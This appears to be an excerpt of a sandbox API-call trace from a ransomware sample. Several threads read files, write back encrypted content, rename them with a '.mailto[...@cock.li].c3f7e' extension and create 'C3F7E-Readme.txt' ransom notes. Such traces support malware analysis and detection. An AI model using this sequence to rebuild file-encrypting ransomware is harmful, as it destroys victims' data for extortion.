	[0086.157] wcscpy (in: _Dest=0x4768628, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms"
	[0086.157] wcscat (in: _Dest=0x4768628, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.157] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x293bf6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul.xrm-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.157] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x477a460
	[0086.157] NtSetInformationFile (FileHandle=0x18c8, IoStatusBlock=0x293bf6c8, FileInformation=0x477a460, Length=0xf4, FileInformationClass=0xa) returned 0x0
	[0086.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477a460) returned 1
	[0086.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea808) returned 1
	[0086.159] NtQueryInformationFile (in: FileHandle=0x18c8, IoStatusBlock=0x293bf6dc, FileInformation=0x293bf6b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x293bf6dc, FileInformation=0x293bf6b4) returned 0x0
	[0086.160] NtSetInformationFile (FileHandle=0x18c8, IoStatusBlock=0x293bf6dc, FileInformation=0x293bf6b4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0086.160] FlushFileBuffers (hFile=0x18c8) returned 1
	[0093.093] CloseHandle (hObject=0x18c8) returned 1
	[0093.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476f598
	[0093.094] wcscpy (in: _Dest=0x476f598, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0093.094] wcscat (in: _Dest=0x476f598, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt"
	[0093.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\C3F7E-Readme.txt" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\c3f7e-readme.txt")) 

Thread:
	id = 1179
	os_tid = 0x1ee0

	[0086.153] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png")) returned 0x20
	[0086.161] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png", dwFileAttributes=0x20) returned 1
	[0086.161] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18cc
	[0086.161] GetFileSizeEx (in: hFile=0x18cc, lpFileSize=0x2943fd10 | out: lpFileSize=0x2943fd10*=919) returned 1
	[0086.161] SetFilePointerEx (in: hFile=0x18cc, liDistanceToMove=0x393, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.162] ReadFile (in: hFile=0x18cc, lpBuffer=0x2943fc94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2943fc90, lpOverlapped=0x0 | out: lpBuffer=0x2943fc94*, lpNumberOfBytesRead=0x2943fc90*=0x4, lpOverlapped=0x0) returned 1
	[0086.163] SetFilePointerEx (in: hFile=0x18cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77308
	[0086.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.163] NtQuerySystemTime (in: CurrentTime=0x2943fc70 | out: CurrentTime=0x2943fc70*=132251868129061002) returned 0x0
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0xe6f464ec
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x858111c7
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x36d57b5a
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x4230605d
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x459a0dfb
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x145241fc
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x961ff24f
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x66c8482d
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x6a9a4306
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x5aaec70e
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x9071577a
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0xf98d012d
	[0086.163] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x8b8b2b4d
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0xcc46e29b
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x4cbc9a1c
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x639c1ad1
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0xc72ca9a9
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x307093e7
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0xbd820011
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x287857af
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x73654169
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x782f2985
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x9f2c2c4a
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0xbf266b5e
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x2e0b46b4
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0xb7f4cbb8
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x15ac192c
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x8190ddac
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0xf9c6ee66
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0xd60182d
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x2506f4c1
	[0086.164] RtlRandom (in: Seed=0x2943fc7c | out: Seed=0x2943fc7c) returned 0x11ce25a7
	[0086.171] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77380
	[0086.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0086.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0086.173] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0086.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a2060
	[0086.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ae868
	[0086.173] ReadFile (in: hFile=0x18cc, lpBuffer=0x48a2060, nNumberOfBytesToRead=0x397, lpNumberOfBytesRead=0x2943fc6c, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x2943fc6c*=0x397, lpOverlapped=0x0) returned 1
	[0086.173] SetFilePointerEx (in: hFile=0x18cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.174] WriteFile (in: hFile=0x18cc, lpBuffer=0x48ae868*, nNumberOfBytesToWrite=0x397, lpNumberOfBytesWritten=0x2943fc68, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesWritten=0x2943fc68*=0x397, lpOverlapped=0x0) returned 1
	[0086.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0086.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0086.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ae868) returned 1
	[0086.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a2060) returned 1
	[0086.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.175] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x2d773a8
	[0086.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1f) returned 0x2d77268
	[0086.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d773d0
	[0086.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77290
	[0086.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77290) returned 1
	[0086.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.176] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.176] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x103) returned 0x500cbe8
	[0086.176] SetFilePointerEx (in: hFile=0x18cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.176] WriteFile (in: hFile=0x18cc, lpBuffer=0x500cbe8*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x2943fcd0, lpOverlapped=0x0 | out: lpBuffer=0x500cbe8*, lpNumberOfBytesWritten=0x2943fcd0*=0x103, lpOverlapped=0x0) returned 1
	[0086.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cbe8) returned 1
	[0086.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77268) returned 1
	[0086.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773d0) returned 1
	[0086.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d773a8) returned 1
	[0086.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0086.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77308) returned 1
	[0086.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77380) returned 1
	[0086.178] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0086.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x49867b8
	[0086.178] wcscpy (in: _Dest=0x49867b8, _Source="C:\\Windows10Upgrade\\resources\\ux\\block.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\block.png") returned="C:\\Windows10Upgrade\\resources\\ux\\block.png"
	[0086.178] wcscat (in: _Dest=0x49867b8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0086.178] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2943fc88, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\block.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0086.178] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4f2cf60
	[0086.178] NtSetInformationFile (FileHandle=0x18cc, IoStatusBlock=0x2943fc80, FileInformation=0x4f2cf60, Length=0xb2, FileInformationClass=0xa) returned 0x0
	[0086.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2cf60) returned 1
	[0086.181] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d408) returned 1
	[0086.181] NtQueryInformationFile (in: FileHandle=0x18cc, IoStatusBlock=0x2943fc94, FileInformation=0x2943fc6c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2943fc94, FileInformation=0x2943fc6c) returned 0x0
	[0086.181] NtSetInformationFile (FileHandle=0x18cc, IoStatusBlock=0x2943fc94, FileInformation=0x2943fc6c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0086.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49867b8) returned 1
	[0086.182] FlushFileBuffers (hFile=0x18cc) returned 1
	[0093.094] CloseHandle (hObject=0x18cc) returned 1
	[0093.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ecf80
	[0093.095] wcscpy (in: _Dest=0x47ecf80, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\"
	[0093.095] wcscat (in: _Dest=0x47ecf80, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt"
	[0093.095] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\c3f7e-readme.txt")) 

Thread:
	id = 1180
	os_tid = 0x1ee4

	[0086.175] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png")) returned 0x20
	[0086.179] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png", dwFileAttributes=0x20) returned 1
	[0086.179] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18d0
	[0086.179] GetFileSizeEx (in: hFile=0x18d0, lpFileSize=0x294bfb20 | out: lpFileSize=0x294bfb20*=7080) returned 1
	[0086.179] SetFilePointerEx (in: hFile=0x18d0, liDistanceToMove=0x1ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.179] ReadFile (in: hFile=0x18d0, lpBuffer=0x294bfaa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x294bfaa0, lpOverlapped=0x0 | out: lpBuffer=0x294bfaa4*, lpNumberOfBytesRead=0x294bfaa0*=0x4, lpOverlapped=0x0) returned 1
	[0086.182] SetFilePointerEx (in: hFile=0x18d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77308
	[0086.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.182] NtQuerySystemTime (in: CurrentTime=0x294bfa80 | out: CurrentTime=0x294bfa80*=132251868129217116) returned 0x0
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xa43f50b5
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x4cb04456
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x30d086fa
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x868bf5c3
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x61b70a00
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x409c23eb
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xc003ff2d
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x32d151bc
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xb8b43fa7
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x6a3506c2
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x54ebfda3
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x612b5673
	[0086.182] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x49727858
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xd3f000ba
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x96449a9b
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x2f7c2b1c
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xc0f17d11
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x6dbc5391
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x2d48541f
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x80e379bb
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x9d3af541
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xfd4a14b4
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x3e590357
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x9a216368
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xddcc40ef
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xf8bc3fc
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xc8915358
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xff1b3983
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x2374d61f
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x51be997a
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0xe2213a8e
	[0086.183] RtlRandom (in: Seed=0x294bfa8c | out: Seed=0x294bfa8c) returned 0x71de4fcd
	[0086.190] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77380
	[0086.191] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.191] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77240
	[0086.191] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.191] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.191] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0086.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04360
	[0086.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77420
	[0086.192] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77420) returned 1
	[0086.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a2060
	[0086.192] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48ae868
	[0086.192] ReadFile (in: hFile=0x18d0, lpBuffer=0x48a2060, nNumberOfBytesToRead=0x1ba8, lpNumberOfBytesRead=0x294bfa7c, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x294bfa7c*=0x1ba8, lpOverlapped=0x0) returned 1
	[0086.193] SetFilePointerEx (in: hFile=0x18d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.193] WriteFile (in: hFile=0x18d0, lpBuffer=0x48ae868*, nNumberOfBytesToWrite=0x1ba8, lpNumberOfBytesWritten=0x294bfa78, lpOverlapped=0x0 | out: lpBuffer=0x48ae868*, lpNumberOfBytesWritten=0x294bfa78*=0x1ba8, lpOverlapped=0x0) returned 1
	[0086.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772e0
	[0086.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77330
	[0086.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77330) returned 1
	[0086.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48ae868) returned 1
	[0086.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a2060) returned 1
	[0086.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0086.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d780b0
	[0086.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb390
	[0086.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77498
	[0086.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77498) returned 1
	[0086.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d77db0
	[0086.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77358
	[0086.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d774e8
	[0086.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d774e8) returned 1
	[0086.194] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.195] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb390) returned 1
	[0086.195] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x109) returned 0x2d88ff0
	[0086.195] SetFilePointerEx (in: hFile=0x18d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.195] WriteFile (in: hFile=0x18d0, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x294bfae0, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x294bfae0*=0x109, lpOverlapped=0x0) returned 1
	[0086.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0086.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0086.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77358) returned 1
	[0086.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0086.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772e0) returned 1
	[0086.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77308) returned 1
	[0086.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77380) returned 1
	[0086.196] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0086.196] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d5d408
	[0086.196] wcscpy (in: _Dest=0x2d5d408, _Source="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png") returned="C:\\Windows10Upgrade\\resources\\ux\\bluelogo.png"
